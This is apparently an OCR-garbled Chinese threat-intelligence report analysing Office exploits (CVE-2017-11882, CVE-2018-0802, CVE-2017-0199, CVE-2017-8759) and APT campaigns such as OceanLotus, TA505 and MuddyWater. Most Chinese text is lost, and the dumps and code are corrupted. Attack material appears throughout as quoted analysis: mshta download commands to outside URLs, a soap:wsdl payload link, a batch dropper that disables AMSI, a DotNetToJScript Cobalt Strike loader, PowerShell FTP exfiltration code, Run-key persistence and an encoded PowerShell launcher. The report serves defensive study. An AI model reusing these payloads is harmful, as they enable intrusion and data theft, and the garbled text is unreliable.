0001 0202 0405 007 02059 OROB OCOD OEOF O1l2245&78SRBCDEFR

0000 [ LC00 0000 0200 ASC3 5502 0000 9000 0000 ... .. - T

0010 [ 4890 5D0O0 €C9C SBOO Q000 0000

02020

022030

Ozc040

aaaa

Ozc0Ed 20&5

0070 €963 fofoffice _erliwvi

0080 T0&eC a.ltd/plugin._hta

127 14




128 15

]
CVE-2017-11882
CVE-2017-11882
] CVE-2018-0802

CVE-2017-11882 l
CVE-2018-0798 ASLRI
32 255 |
255 ROP ]

129 16




ROP ]

130 17
ROP 4 WinExec
WinExecl
255
CVE-2018-0798l 254
| Office Office
|
matrix CVE-2018-0802
)|
131 18
matrix ] matrix rows=0x20 cols=0x80l
size=(2*count+9)/8 row_parts  col_parts

0x09 Ox2A J|




132 19

row_parts 0x08
col_parts row_parts 0x09 0x43 col_parts
] row_parts  col_parts 0x18  0x10 ]
col_parts O0x2A ebp ]

BE12F3E8( BOB12FSER

BE12F3EC| BB12F7EL

BE12F3FA| BOBOOBO0G6

BE12F3F4| BB12F7EL

BE12F3F8| 00000033

B0812F3FC| B1BD3CAS ([Frow parts
BE12F4008( 8BOBOSBAA

B012F484| CO831440([Fcol_parts
BE12F488| 47FEBFFAD

BE12FY4BC | L41424647

B812F418| 51515151 | [Feip
BE12Fy14( 5650508508

AE12Fy18 (| BoBO0BOAA

BE12FYAC| | 42425880

BE12F428( | 4242 06EB

BE12F42Y4| OOO0OO0L2Z

AE12F428( BB12FSER

133 20

0x505050501




sub _437C9D matrix ]
)|
sub_4428F0 sub_443E34 row_parts
sub_443E34
1]

134 21

L | Tt —- e )L -

A1F1F76
A01F1F 86
A81F1F26

A81F1FAG
d81F1FB6G
G81F1FCH
AB1F1FDG

0x454F30 1 2 16 3 16
row_parts  0x14 ] ]




1[int _ cdecl sub 437C9D{int a1, int a2)

21
3 __inti16 v2; //
4 int16 wd; //
S| int wh; £/
[i]
7 = *{ WORD =)}({al + u4@);
8 = ={ WORD =)}{al + 42);
9] while { (unsigned  int8)GetByte{} )
18| ¢
11 = sub_43A78F();
12 = sub_4371CA(al, aZ, uvh);
13 2
14 return ;
153
136 23
sub_437C9D 0 ]
matrix matrix
)|
matrix ]
137 24

8812F354] B812F7EA
8812F358| BOBABBBG

@612F35C| 66088865

8612F3608| B812F378|ASCII "vEE"

8812F364| B043A72F | EQNEDT32.0043A72F
8612F368| 868128835

8812F36C| BO12FSED

@812F3708| B812F7E4

REFIE] 0043851 |JR[0]F| EQNEDT32 . 0043A851
8812F378| BB1F1F76|ASCII "BOE"

8812F37C| 00445800| EQNEDT32.00445800




139 26

ebp
16 retl CVE-2018-0802
ASLRI matrix 0 sub_437C9D
0 shellcode ]

AB1F1F7h J84F 45 Xor
BB1F1F79 aaaa add
BB1F1F7B aaaa add
BB1F1F7D aaaa add
BB1F1F7F aaaa add
BB1F1F 81 aaaa add
BB1F1F83 aaaa add
BB1F1F85 aaaa add
BB1F1F87 aaaa add
BB1F1F89 aaaa add
B81F1F8B aaaa add
BB1F1F8D aaaa add
BB1F1F8F aaaa add
B1F1F91 aaaa add
BB1F1F93 aaaa add
BB1F1F95 aaaa add
BB1F1F97 aaaa add
BB1F1F99 aaaa add
B81F1F9B aaaa add
BB1F1FOD aaaa add
BB1F1FOF e eax
B81F1FAB|., EB 86 gl short BB1F1FAS8

140 27

shellcode )|




row_parts

BA1F1FAR
BE1F1FAD sBOA

BE1F1FAF SBL4B 14
83CA AD

BE1F1FB2
BO1F1FBS (- FFEB

A5 3CBDA1AG

eax,
eax,
eax,
eax

141

shellcodel

3.4.1.3 Shellcode

| CVE-2017-11882
2018-0798
WinExec

2017-11882
]

34131

CVE-2017-11882
Idr

WinExec

shellcode

shellcode

CVE-2018-0802
l

shellcode

16

eax,8=x1BD3C

28

matrix )|

CVE-
shellcode
shellcode

shellcode shellcode

CVE-2017-11882 ] CVE-

0x2C PEB

0x0040xxxX
1




00000900 1C 00 00 00 02 00 3E C4
00000910 ca R7 5C 00 C4 EE 5B 00
oooon920  OR QR |
00000930
00000940
00000950
142
143
1
WinExec
144
]
tmpY%\Server.exe
)|
)|
8012F1D8| BB430C12|EQNEDT32 . BB430C12

G812F1D4

00 00 00
00 00 00

00 00 00

Shellcode

Shellcode

Shellcode

0912F1D8| 00000008 |LShowitate = SW HIDE
B812F1DC| B@B12F1EC|ASCII "BArial Unicode HS™

145

Shellcode

00 00 00  .uee... e ......
01 01 03

. s .- LZCOd.exe fcC
(toOp%\ Server.exe

WinExec

7 Y o
1
2
shellcode
]
3
package

8012F350|| CmdLine = “"msHtA http://bit.lys/2ynWBnL &AARAAARAAARAAAANNEC™




34132

WinExec shellcode
)|
] CVE-2018-0802

)| WinExec WinExecl

]

146 Shellcode 5
CVE-2017-11882 0x2C
]

J| shellcode

]

0001 0203 045 007 0805 OAODB OCOD OEOF 012345€78SRBCDEF
000 | 1CO0 0000 0200 SECE AS00 0000 Q000 Q000
0x10 | CBAT 5C 4EE SBOO 0000 0000
0x20 3 8 S5ASA BS44
02230 | RN 0% 3BOS
L RREE L 3ET2 3l DEFF
alelels]
060 2 T03R ZF2F 736C
0x70 | 2EEE &€F&€S 702ZE &D&5 0000 0000 ©000Q Q000
Oxe0 | 0000 0000 QOO0 QOO0 QOO0 0000 QOO0 Q000

147 Shellcode 6




148

149

call WinExec

shellcode

l

Shellcode

WinExec
shellcodel

Shellcode

ret

WinExec




150 Shellcode 9

shellcode WinExec
] shellcode
1
shellcode
shellcode ]
]
] shellcode
shellcode ]
]
0x45BD3C ]
0x45BD3C ]
' w  sub 43A988+C dword_45BD3C, eax
= Up  r sub_43A988+11 mov  eax, dword_438D3C
=] Up r  sub 43A988:loc 43A9F7 mov  eax, dword 45BD3C
=] Up r  sub 43A988:loc 43AA20 mov  eax, dword 45BD3C
r sub 43A933+40 mov  eax, dword 45BD3C

151 Shellcode 10










3421

0.3.2.1.1 CVE-2018-8174

CVE-2018-8174 l

155 CVE-2018-8174

MyClass arr
MyClass
Class_Terminatel
(MyClass ) o]
] Class_Terminate MyClass
MyClass ] POC

0.3.2.1.2 CVE-2018-8242

CVE-2018-8242 ]

double free ]

UAF ]
1
Erase arr
] MyClass
Class_Terminate arr
arr
o]
o] ]
UAF J




156 CVE-2018-8242 1

MyClass arr Erase
MyClass J
Class_Terminatel Class_Terminate
Erase arr MyClass ] MyClass
double free ]

0.3.2.1.3 CVE-2018-8373

CVE-2018-8373 CVE-2018-8174 UAF
POC ]

157 CVE-2018-8373 1

arr

MyClass




cls MyClass
)|

Class_Initialize

cls.array(2) = cls

array
cls array
Default Property Get Pl

Default Property Get P array
array ] cls
array 2 cls
]
UAF ]
3.4.2.2 Office
Office URL Moniker
] ]
158 IE Office 1
Office CVE-2017-0199 StdOLELink
\10LE URL Moniker
] CVE-2017-0199 Content-Type  "application/hta"
mshta hta ] CVE-2017-0199 FilterActivation

hta HTA Moniker]




|<::.'|:1|:ct'_-,rj:_:e html>
<html lang="en">

<head:>

<meta http-egquiv="Content-Type"| content="text/html; | charset=UIF-3">
<meta Doty v="x-ua-compatible™ content="IE=10":

<meta http-equiv="Expireszs™ content="0">

<meta http-egquiv="Pragma™

<meta Doty I

<meta http

</head>
<body>
<script language="vhscript">

159 [E Office 2

CVE-2018-8174 Content-Type  text/html mshtml
html | CVE-2017-0199 Moniker
mshtml IE IE
]

3.4.3

2018 2018

3.4.3.1 CVE-2017-0199

CVE-2017-0199  Office OLE OLE
] ] URL Moniker/File

Moniker / ]
hta sct

]
Moniker StdOLELink /10LE ] /10LE
Moniker ]







161 CVE-2017-8570 1

Composite Moniker Moniker
Composite Moniker URL Moniker  File Moniker sct
Scriptlet Moniker FilterActivation ]

3.4.3.3 CVE-2017-8759

CVE-2017-8759 SOAP WSDL
wsdlparser.cs PrintClientProxy ] SOAP WSDL
URL ]

162 CVE-2017-8759 1




URL URL
(/) URL I
URL CRLF I

Office Soap Moniker ]

163 CVE-2017-8759 2

CFB OLE RTF OLE \10LE
Soap Moniker ]

<Relationships xmIns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Target="soap:wsdl=http:/ /multitrend.yt/at/copy.exe" TargetMode="External"
Type="http://schemas.openxmlformats.org/officeDocument/ 2006/ relationships/oleObject” Id="_id_2159"/>
</Relationships=

164 CVE-2017-8759 3

ooxml rels ]
URL

Unicode )|










APT

APT

34%
168 APT
Advanced APT ] Oday
APT 1 Oday 10 Oday
APT ]
CVE-2018-0802 Office BlackTech
CVE-2018-4878 Flash Lazarus
CVE-2018-8174 VBS Darkhotel
CVE-2018-5002 Flash HackingTeam
CVE-2018-8414 Windows Darkhydrus
CVE-2018-8453 Windows FruityArmor
CVE-2018-8589 Windows SandCat
CVE-2018-8611 Windows FruityArmors SandCat
CVE-2018-8373 VBS Darkhotel
CVE-2018-15982 Flash HackingTeam




CVE-2018-8440 ALPC PowerPool

202018  APT Oday
APT APT
1
APT )
Office Office
Office
]
]
2 APT
APT
] shellcode
] Living off the land
1 shellcode
J APT
WMI Wmiprvse.exe J
powershell.exe
VBScript.exe cmd.exe
cscript.exe mshta.exe
BITSAdmin bitsadmin.exe

N/A
DLL N/A DLL

N/A

Process Hollowing N/A

N/A




Dual-use tools SC.exe vnc putty

net.exe ipconfig.exe
netsh.exe teamviewer.exe
tasklist.exe rdpclip.exe
rarexe wmic.exe find.exe
curl.exe netstat.exe
systeminfo.exe wget.exe
nc.exe gpresult.exe
whoami.exe ammyy.exe
query.exe sdelete.exe
psexec.exe csvde.exe
dumpel.exe lazagne.exe
pwdump dumpsec.exe
netcat.exe mimikatz.exe
wce.exe cachedump.exe
bruter.exe gsecdump.exe
winscanx.exe  certutil.exe

21 APT

1 Bypass UAC

] APT
EXE
Chat.exe WeChatWin.dll
winword.exe wwlib.dl
360se.exe chrome_elf.dll
Flash.exe UxTheme.dll
googleupdate.exe goopdate.dll
360tray.exe dbghelp.dll
MicrosoftWindowsDiskDiagnosticResolver.exe rastls.dll
vmGuestLibJava.exe ACEdIl Common.dll
GmsCommon.dll  MSVCP100.dll
MSVCR100.dll  WsmanClient.dll
searchindexer.exe/searchprotoclhost.exe msfte.dll
Avpia.exe product_info.dll






https://attack.mitre.org/groups/G0080
https://attack.mitre.org/groups/G0037/
https://attack.mitre.org/groups/G0079/
https://attack.mitre.org/groups/G0083/

4.2.1 REBFKHEELANR

2012 (APT32) J | |

1 1 1 ]
1
] APT
]
CVE-2017-11882 CVE-2017-8570
DNS
Cobalt Strike
25 1
A
2018 5 RTF CVE-2017-11882
]
1

CVE-2017-11882 Office
EQNEDT32.EXE Office J
OLE Office

]
shellcode kernel32
API winword
1 0xC 0x79797979

shellcodel




T = T e S ey e e |

L 7C 01 FC 79 78 |cmp dword ptr ds:[ecx+eax-4],737975978 |ecz+ean®1-4:"yyyy"
I 59 jne 33SBEA
B 74 01 F8 mov esi,dword ptr ds:[ecx+eax-8]
169 9
shellcode kernel32 API
DLL DLL ]
170 10
DLL C:\Program Files

Microsoft-Windows-DiskDiagnosticResolver 2021325962
MicrosoftWindowsDiskDiagnosticResolver.exes rastls.dll

OUTLFLTR.DAT ]




171 11

MicrosoftWindowsDiskDiagnosticResolver.exe

dotlxtra.exe exe
rastls.dlll
172 12
rastls.dll OUTLFLTR.DAT shellcodel
OUTLFLTR.DAT shellcode shellcode

{92BA1818-0119-4F79-874E-E3BF79C355B8}.dllI




Be11510 word_ 18811518 dw @

BE11512 a%92ba181881194f db " {92BA1B18-0119-4F79-B74E-E3BF79CI55B8} .d11"

8011512
811530 aDllentry db 'D11Entry’,8
173 13
{92BA1818-0119-4F79-874E-E3BF79C355B8}.dlI
{A96B020F-0000-466F-A96D-A91BBFSEACI6}.dII dill  {A96B020F-0000-
466F-A96D-A91BBFSEACY6}.dII ]
174 14
2018 10 CVE-2017-
11882 ]
B:
2018 10
J
]
dbghelp.dil
dbghelp.dll SoftManager.exe
]
shellcode rnsldaba.wmf 0x3B
EBP
EBP+4 SoftManager.exe
safemon.dll text | t05a2ztv.Exif




shellcode shellcode dbghelp.dll
)|

175 15

EBP 0012FEA4 0040B0OD6
SoftManager.exe l LoadLibraryW Shellcode |

t05a2ztv.Exif .png 16*16 256 ]
shellcode 256
.png ]
Ox3EC  O0x3F7 .png IEND IEND
0x3F8 shellcode )|
177 17
png 4 ARGB A R G

B 1 ARGB 0~255 )|







AES 0x3B

Shellocde |

LE&
KOR
LE&
THC
CHE

Q0140450103 3
Q01 a04
Q01AD4T0) 1F 935

Shellcode

ECY, DWORD FTER D3: [ECX]
EITE FTE [5: [ECK+ES
EAX, DWORD FTR I
ECX
ECY,

SHORT 100

LoadLibraryW

Shellcode OXEFC
Shellcode AES ] sha256
CryptDeriveKey 128 AES

CryptDeriveKey ]

CryptGenKey CryptGenKey ]
180 20
batman@dawn123 1 1P
1 Mac Shellcode OXEBB
] 1 1 0 2 1




0 J 0100 3

181 21
batman@dawn123venus-27281blab sha256 sha256
AES 1 venus-27281blab ] 4
1 4 ]

S yeEY O0ES0DALG (FC ES SE B 00E30A0F
OOEBFCFS I ; O3EZ510

OOERFCFC

183 23

batman@dawnl123administratorvenus-27281b1ab192.168.79.13400:0¢:29:3c:a6:24
AES sha256 OXECO 0x20
] AES
Shellcodel t05a2ztv.Exif ]




184 24
is Denisi CobaltStrike ]
js CactusTorchl CactusTorch DotNetToJScript
NET is ) NET
dil  .exel DotNetTolScript
NET J

360PluginUpdator.bat

Echo RiMeMEY3NF=3MTVAR Tp =B ANk Uy M= M0UON Tt b2 50aW5 1 2T TN I THY = brple=
echo OFFLNDITTVYoIjBeVli Iixn f=B4MkeTeMTICN=RbODIOX SR 6T LT s 7T 2 0udGlws>
Eecho dWI7Y2FzZ8E2MWS6YThRES =0 SWFFWECINS zUi LFO £MHoy R Mx Mk ¥ 3NFs4M=NdKTp 1=
echo dwFsEHZGNORDWFRITExcxap 0 ZNvhnPpbn V103 licnVhas tOEX1pZihfzB ANk Uy

C: 4 Windows) Tenp’ 360F luginlpdator. day
C:\Windows  Tenpy 360F luginUpdator. dag
C:yWindowsY, Tenp 360F luginlUpdator. day
C:\Windows  Tenpy 360F luginUpdator. day

pcho MzMSMOUSPTERe 2 JyZWFr0319%> Civindowsy Temp, 360F lugintpdartor. dat

pertutil -decode C:%Windows)Tewp’ 360PluginUpdator. dat C:\Windows Temp 360FP luginlpdater.j2 > nul
FEG ADD "HECIN, SoftwaretMicrozoft\Windows Jcriptiiettings™ v "AmsiEnahle™ /t BEEG DWORD /d 0O /f
FEG DELETE HELMY,30FTUARE\MicrosofthAMRINProviders /£

fracript CihvWindaowshTenpt 360Plugintpdater. s

IF EXIST "C:\Windows'Temp'360FluginUpdator.bat™ DEL /F "C:y\WindowsyTenp’360Fluginlpdator.bat™

IF EXIAT "C:\Windows'Temp'360FlugintUpdator.dat™ DEL /F "C:y\WindowsyTenp’360Fluginlpdator. dat™
IF EXIZT "C:\Windows'Temp'360PluginUpdater. j2™ DEL AF "C:yvWindowsTemp' 360F lugintpdater.ja"
DEL "%~£07

185 25

base64 360PluginUpdater.js

]

1 360PluginUpdater.js

bear _ 0x2F312FT4 = [“HinsKowzFTe”, "UITHITAZEIGR", “EnTkhGh®, “LHREasMtAE”, "uqEbRhVeScrIQmeHoMS™, “TwtdThEF",
“BAERRADS S B AEREA AT TT e A NOZHOuRGY s ZH dhdVTZH Tp Y W p emFO af SuS G ZGY A A A ARREZ W 1 Z2FOZE 40T X TnZKAwEZ 1
BT 200 c0bo PNz SF U] zTHEwbE dp T W0 ¥ 2FubmI0TGTIIHT1 bi Epbi EET 1M gbWAkZSAHDE o kb bt 3 & A A5 AFEF R ABMASMAIwECN ghsd i bbb b
ILAAE b AR TOA A AT AN AR A A ATIAND AR AAY sETAFSAY zBF AFTAUWE TAESAT B £AEIAT zBGARS AR AARATOET /4 At AT AAAAR AR A A SN
01 imZE£FE {1 KnF i lingT ¥ Reny 2 at Orwepx LINOFSSCMHY e G TyraYQr e 21 0SLTZOTEMM b 21 3GTY S + Ppi DoMpMy =51 ¥ TERy § EwAS9 43y

186 25

RC4

RC4 ]




187 26

4 whaTeCO91lwdax 15 Humb er
¢ vCwnaledBLDypY “TestClass" String
5 _ 0xSEZ11076 “BAEARAD S/ #f { ADAAAAMAAAAEAD. | String
4 _ DxFE35840C .1 _HeaderHandl er
¢ v1g3IDwhS9=0d .1 _Mrravlist
# _ 0=zE92DT1FE “qlwhdazDSAGsdamfasFASGA=4d"  String
# _ D=z1024304F “HobZX4ZEROSHEL Tdm flrwe==" Siring
= @ wuLleTOSAHqtT4 .1 Object
s [0 0 Humber
s [1] 0 Humber
s [2] 0 Humber
¢ [3] ] Humb er
4 vERrJD9Ipamat “TSdmezbFRvEzlmqlEEl qwZvET]. .. String

188 27
vsQrJD9lpxmxW is 1l 0x692D71FE
vsQrJD9lpxmxW Keyl _ O0x102A30AF  vsQrJD9lpxmxW md5
Base64 1 vxLe708AHqt74 4 J 1P
1 MAC ] 1 Key J

]
__Ox5E211076 dlil Base64







function setwersion() {

var shell = new ActiveXObject('WScript.Shell');

ver = 'v4.,8.38319';

try {

shell.RegRead( 'HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\wd.8.3@8319\\ " );
} catchie) {

ver = 'v2.8.58727';

shell.Environment('Process"')('COMPLUS Version') = ver;

¥
function debug(s) {}
function basedd4Tostream(b) {
var enc = new ActiveXObject(“System.Text.ASCIIEncoding™);
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBasesdTransform");
ba = transform.TransformFinalBlock(ba, @, length);
var ms = new ActiveXObject("System.IO.MemoryStream”);
ms.Write(ba, @, (length / 4) * 3);
ms.Position = 8;
return ms;

ks

var serialized_obj = "AAEARAD/////AQAASAAAAAAEAQASACITeXNOIWOURGV S ZHWdhdGVTZX I pYixpemF@akdusads ZGVy AWAA)
var entry_class = 'Test(lass';

try {

setversion();

var stm = basef4Tostream(serialized_obj);

var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collecticons.Arraylist');

var n = fmt.SurrocgateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);

var o = d.DynamicInvoke(al.Tofrray()).CreateInstance{entry_class);
var shl='"';
shl += "TVroARAAAAFtSRVWISYHDCOAAAR/ T1cNXaaQAAABD/ 9B0BLWIVMEFAAALALUP,/ TAAAAAALAALAALAAAAMAASARLAL
H o.LoadShell(shl, 4);
} catch (e} {
debug(e.message);

192 31

js md5 1leabd95f866404e4be2b5ef899f36bc2 md5 Base64

___Ox102A30AF : "HqbZX4ZkBOS+K174mfNrwg=="1 Xor
vsQrJD9lpxmxW("'Y54mczbFRvBzkK....") md5
)|
is serialized_obj dlil LoadShell
shll shl  Base64 CobaltStrike beacon.dll

193 32




194 33

360PluginUpdater.js is

195 34




196 35

197 36

is




1 dll

21 options J 1 1P 1 Mac
pwd 789" ] pwd Xor Key
option 0 pwd "789"1
360PluginUpdater.js "glwhdasDSAGsdamfasFASGAsd"]
dil  Xor js 1 Xor
base64 pwd md>5
md5  base64 hash_data is
)|
Xor jsl
is options 0 js  options 0 360Secinfo.js
198 37
1f [ 0xTS324594[1] == 1) {
__Dx0FZALZAS += [(new ActiveXObject [_ DxSAESO0SE ("YEOS0T1Ez", wJCHwqlGeDZz]

I
if (_0xT5324594[2] == 1) {
var _ Dx?9522105 = _ 0xSAES0056 (“Bbhm3VT", wICQwqlGeDZzT[4071) [ 0xSAESO0S
_ 0xTD9E5SCE = O;

199 38

options 1 1

pwd







2018 12 J |

201 1

WORD RAT ]
CA\inteNlogs |

202 2




RAT
C&Cl

203

RAT
0l RAT

204

HTTP

I

-0xD

avg

GET

GUID




= 8;
= [1;,
if { strlen{al) )

¥
while < strlen{v2) );
a;

= a;
if { strlen{v?) )

¥
while { < strlen{v?) });

H
| if { (signed int)( + 1) < )
memcpy_@{ue, &uZ[uvl + 1], = (vl + 1));
®(&ud + - }y = 8;
memset (&FILE_, 8, 8x188u);
= 8;
do
{
= vo[ 1;
*(&FILE_ + ++) = u7;
205 5
URL RAT
] URL RAT
exe ]

206 6




RAT

URL

Dropper
+0x22 ]

atoi int -0x64 ascii )|

Windows\\debug\\WIA
Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}

%appdatal\syslog0812AXbcW1.tean |

m50e!sq&n67$t




208 8

209 9







210 10

JS ]
+0x22

KEY

+0x221

211 11
IP
AVG  Avast J
\Microsoft\Windows\Start Menu\Programs\Startup\ winapp.Ink

C\intel\ winapp.exe







4.2.3 WEHEHNR

BlueMushroom APT | 2011
1 1 1 1 1
]
28 1
2018 4
LNK PowerShell
1 LNK
AWS S3 J
PowerShell
PowerShell PowerShell ]

213 1




PowerShell |

214 2
Ink base64
215 3

Lnk




216 4

Base64 [ +PowerShell ]

217 5

218 6




PowerShell

Ink PowerShell PowerShell
)|
PowerShell Ink )|
219 7
FTP 1 121.13.247.141:2112 FTP
httpdlib OmG656P0EPSqOgTq ]
FTP .
220 8

FTP




221 9

\startlog |
16 ]

$c=-Jjoin({[char[]]({48..57+65. .98+97..122) |get-random -c 16);

222 10

RSA
ID FTP ]

223 11




Wi4 FTP ]

224 12

start.log FTP
start.rar |







227 15

FTP I

$a+=1;
$h+=zc5 %_ %4 $a %b %7;

$4=% .Length;

If($h.endswith("0K r'n"})

I
L

$b+=1
}

228 16

Zc5 0  100MB
FTP J




229 17




@();
$f+=gdr -p

$_.root -ne "$e

gci -fo $_.root

ren

1
¥
3

f+=gci -fo

$f+=gci -fo "S$e

._.fullname -notlike
_.fullname -notlike
._.fullname -notlike
-notlike
-notlike
-notlike
-notlike
-notlike
._.fullname -notlike
._.fullname -notlike

MMMMMIMIMMMM

=$f|sort lastwritetime -des

230 18

231 19




FTP J

232 20

%appdata’\Microsoft\Windows\Recent\ P ]

233 21

-contains [io.pa

234 22




FTP )

fa+=1;
$h+=zc5 %_ %4 %a $b %7;

% .Length;
If($h.endswith{"0K r n"))

235 23
per.log FTP

$1-"" ;
$h+=(Get-Date - yyyyMMddhhmmss)+" r'n";

"o

$h > "$env:tmp\$($5)per.log";

ystem.Uri($v+$7+"/

le((wl4 $m $e "$u\P$($5).rar"

del -fo $h,"$u\P$($5).rar"

236 24

4.3 APT




4. 3.1 §rX &Ry IEE R B H LK -TAG05

TA505 TA505 Proofpoint
2017 9 ]
Dridexs Locky ]

FlawedAmmyy FlawedGrace Dridex
TrickBot  ServHelper

29 TA505 1
A
2018 11 TA505 ]
pub
FlawedAmmyy ]

237 TA505 1




Auto_Open ] URL

238 TA505 2

URLI

239 TA505 3




Msi

LoadLibrary
GetProcAddress API
185.231.155.59 |

DLL

EXE

H
while ¥:
if { LoadlLibraryExA{"kernel3?._d11", 8, @)
&& (Traversal_process{L"BDAGENT .EXE")
| Traversal process(L"DUENGIME .EXE™)
| Traversal_process({L"BULLGUARD .EXE"")
| Traversal_process{L"BULLGUARDTRAY .EXE")
| Traversal process{L"CIS.EXE™)
| Traversal_process(L"EKRN.EXE"™)
| Traversal process{L"DUARKDAEMDN.EXE™)
| Traversal_process({L"BULLGUARD .EXE"")
| Traversal_ process{L"BDSS.EXE"™)
| Traversal process({L"CHDAGENT .EXE™)
| Traversal_process(L"EGUI.EXE")
| Traversal_ process{L"SPIDERAGENT .EXE")}) )}

1
ExitProcess(@); fr

H

240 TA505

FlawedAmmyy

241 TA505




242 TA505 6

243 TA505 7

244 TA505 8




RC4 )

9 = a3;

18 = al;

11 = %{_BYTE *)(a3 + 256);

12| LOBYTE{a1) = =({_BYTE =)(a3 + 257);

13 =8;

16 iF ( )

15 ¢

16 do

17 {

18 = %(_BYTE =)(++u5 + a3);

19 = (unsigned _ int8){ + e

20 *(_BYTE =){v5 + a3) = =(_BYTE =){{unsigned _ int8)al + a3);
3| *=(_BYTE =)(al + a3) = v7;

22 *=( BYTE =)(ufi++ + a2) "= =( BYTE =)((unsigned _ int8)(={ BYTE =){u5 + a3) + v7) + a3);
23 )

24 while { < N
25 *( BYTE =)(ad + 256)

26 *(_BYTE =)( + 257) H
27 ¥
28| else
200
38| *(_BYTE =)( + 256) = H
Eal *(_BYTE =)( + 257) = H
32|
33| return ;
3uy

245 TA505 9

]
246 TA505 10
FlawedAmmyy
FlawedAmmyy FlawedAmmyy
Ammyy Admin V3 ] J
1 1 1 ]
]
id 8 5

0sS




priv

cred

pcname

avhame

build_time

card

30 TA505 2

2018 12 Excel 4.0 ]
Excel 4.0
FlawedAmmyy ServHelperl

Excel
Excel 4.0 ]

247 TA505 11

http[:]//update3650ffice.com/agp
)|




update3650ffice.com MSI MSI
Y%templ help.bat rds.VBS htpd.datl
rds.VBS help.bat htpd.datl
ServHelper

htpd.dat ]

248 TA505 12

)|
249 TA505 13
C&C HTTPS

Key |




250 TA505 14
)|
251 TA505 15
shell shell
nop C&C
slp
load EXE




loaddll DLL
selfkill

31 TA505 3

4. 3.2 RB THK MuddyWater (J57K) HR

MuddyWater APT ]
MuddyWater ]

Powershell C# ]
( ) POWERSTATS C#
POWERSTATS |

CVE-2017-0199 CVE-2017-11882
POWERSTATS C#
32 MuddyWater 1

2018 3 FireEye MuddyWater







VBS
Powershell

1 IPJ

Powershell

)|

mshta.exe VBScript Powershell
Powershell Powershell
C&C
253 MuddyWater 2
Office Macro Warnings
] VBA
]
254 MuddyWater 3
]
https.//api.ipify.org/ IP
J C&C

C&C )



https://api.ipify.org/

Screenshot
Excel Powershell
Excel DDE Powershell
Outlook Powershell
Outlook COM MSHTA.exe
Powershell
Risk Powershell
Explorer.exe COM
Powershell
Upload C&C C
\ProgramData
Clean
Reboot

2019 1 11

33 MuddyWater 2

MuddyWater

255 MuddyWater 4




MuddyWater

oI T

256 MuddyWater 5

/k %Windir%\System32\reg.exe IMPORT Y%temp%\in.reg

Windows Registry Editor Version 5.00

\in.reg

Scripting.FileSystemObject

\GoogleUpdate.exe

4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000
0000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b
8014ccd21546869732070726f6772616d2063616e6e6f742062652072756€20696e20444f5
3206d664652e0d0d0a2400000000000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"SystemUp"=hex(2):25 00 74 00 65 00 6d 00 70 00 25 00 5c 00




47 00 6f 00 6f 00 \67 00 6¢c 00 65 00 55 00 70 00 64 00
61 00 74 00 65 00 2 00 65 00 78 00 65 \
00 00 00

shell.application

Open

34 MuddyWater 3

%temp%\GoogleUpdate.exe
temp¥%\GoogleUpdate.exel
GoogleUpdate.exe

257 MuddyWater 6
GoogleUpdate.exe  C# GoogleUpdate.exe
X temp_gh_12.dat C&C
] C&C C&C ]

i
- result: {
- urls: [
"http://shopcloths. ddns. net /users. php?”,
"http://hardthiscore. ddns. net/users. php?”

]
1

ok: true

258 MuddyWater 7

C&C[tname=id_[uniquelD]&path=Users]




uniquelD

Powershell

ID

%Appdata\\Windows\\Microsoft\\FrameWork4\\res_[uniquelD].frk

POST

C&C[tname=res_[uniquelD].frk&path=Data]

C&C

C&C[readme=Data/[uniquelD]]

C&C

DOWNLOAD
[FileName] [URL]

URL
%Appdatal\\\\Windows\\Microsoft\\FrameWork4\\[FileName]

UPLOAD [FileName]

C&C[tname=[ ]&path=Data]
35 MuddyWater 4
C
2019 3 MuddyWater Powershell

259 MuddyWater 8







Set wwgh = Application
amde = CallByName(wwgh  "Version"™  mnpw)

vbfl = "Software\Microsoft\Office\" & amde & ""\Excel\Security"
jdng = "AccessVBOM™
Set juyu =

mbne("'winmgmts:{impersonationLevel=impersonate}!'\\.\root\default:StdRegProv"
)
CallByName juyu "SetDWORDValue™ VbMethod  &H80000001  vbfl
jdng 1
End Function

UserForm1.TextBox1.Text
e ]
e powershell
HKEY_CURRENT_USER\Software\Classes\CLSID\{e7790f00-694d-438a-868c-
b62c27f24aa0\Shell\Manage\command\

c:\windows\system32\wscript.exe c:\windows\temp\temp.VBS ""powershell -exec

bypass -c

" iex([System. Text.Encoding]: :ASCII.GetString([System.Convert]: : FromBase64
String("JFhYPWIl1eCgoJlsnlCsgW2NoYXJdMHg1MyAr 1Cd5c3R1bS5UZXh0LKVuUYycgKyBbY2hh
cl0weDZmICsgJ2RpbmddOjpBJyAr IFtjaGFyXTBANTMgKyAnQO1JLkd1dCcgKyBbY2hhcl0weDUz
1CsgJ3RyaWsnKFsn 1 CsgW2NoYXJdMHg IMyAr 1Cd5¢c3RIbS5DIyAr IFtjaGFyXTB4NmYgKyAnbnZl
cnRdOjpGeicgKyBhY2hhcl0weDZmICsgJ21CYXNINicgKyBbY2hhc10weDMO1CsgJycgKyBbY2hh
cl0weDUz1CsgJ3RyaWsnKChnzXQtYycgKyBbY2hhclOweDZmICsgJ250ZW501C1wYXRolCenYzpe
d21uzCcgKyBbY2hhc10weDZmICsgJ3dzXHR IbXBcaWQucG5nJycpKSknKSk7JEJCPWI 1eCgoJ3NO
YXJOLXNsZWVw I DEwOyRzPSRYWDskZCA9IEAOKTskd 1 A9 1DA7IGMgPSAwWO3doaWx IKCRj 1C1uZSAk
cy5sZWsndGgpeyR2PSgkdioIMikrKFtJbnQzMI 1bY2hhc10kc1skY10tJyAr IFtjaGFyXTB4MzQg
KyAnMCk7aWYoKCgkYysxKSUzKSAtZXEgMCI 7d2hpbGUoJHYgLWS I 1DApeyR2d jJOkd iUyNTY7aWYo
JHZ21C1ndCAWKXskZCs9W2NoYXJdWO ludDMyXSR2dn0kd j 1bSW50MzJdKCR2Lz 1 INT 19FSRjKz0x
